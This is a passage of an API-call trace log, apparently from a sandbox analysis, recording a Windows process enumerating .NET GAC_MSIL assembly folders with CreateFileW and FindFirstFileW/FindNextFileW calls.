	[0088.679] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.679] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.680] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationUI" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.680] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationUI\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94942620, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94942620, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94942620, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.680] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94942620, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94942620, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94942620, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.680] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94942620, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5f43a5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f43a5e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.680] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.680] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.680] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationUI\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\presentationui\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.680] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationUI\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94942620, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5f43a5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f43a5e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.681] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94942620, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5f43a5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f43a5e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.681] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f460740, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xce4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationUI.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.681] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.681] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.681] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\ReachFramework" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\reachframework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.681] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\ReachFramework\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94abf3e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94abf3e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94abf3e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.681] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94abf3e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94abf3e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94abf3e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.681] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94a99280, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5f51ee20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f51ee20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.681] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.681] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.682] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\ReachFramework\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\reachframework\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.682] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\ReachFramework\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94a99280, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5f51ee20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f51ee20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.682] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94a99280, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5f51ee20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f51ee20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.682] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f51ee20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x8f158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="REACHF~1.DLL")) returned 1
	[0088.682] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.682] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.682] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\SMDiagnostics" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\smdiagnostics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.682] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\SMDiagnostics\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9402f240, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9402f240, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9402f240, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.683] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9402f240, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9402f240, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9402f240, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.683] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9402f240, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x615b3b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x615b3b40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.683] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.683] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.683] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\SMDiagnostics\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\smdiagnostics\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.683] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\SMDiagnostics\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9402f240, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x615b3b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x615b3b40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.683] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9402f240, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x615b3b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x615b3b40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.683] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x615b3b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x11ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMDiagnostics.dll", cAlternateFileName="SMDIAG~1.DLL")) returned 1
	[0088.683] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.683] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.684] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.684] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9378e280, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9378e280, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9378e280, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.684] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9378e280, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9378e280, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9378e280, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.684] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93741fc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x676b3bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x676b3bc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.684] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.684] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.684] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.684] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93741fc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x676b3bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x676b3bc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.684] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93741fc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x676b3bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x676b3bc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.685] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x676d9d20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x352280, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.dll", cAlternateFileName="")) returned 1
	[0088.685] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.685] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.685] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.activities"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.685] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94113a80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94113a80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94113a80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.685] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94113a80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94113a80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94113a80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.685] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940ed920, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61a04320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61a04320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.685] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.685] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.686] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.activities\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.686] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940ed920, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61a04320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61a04320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
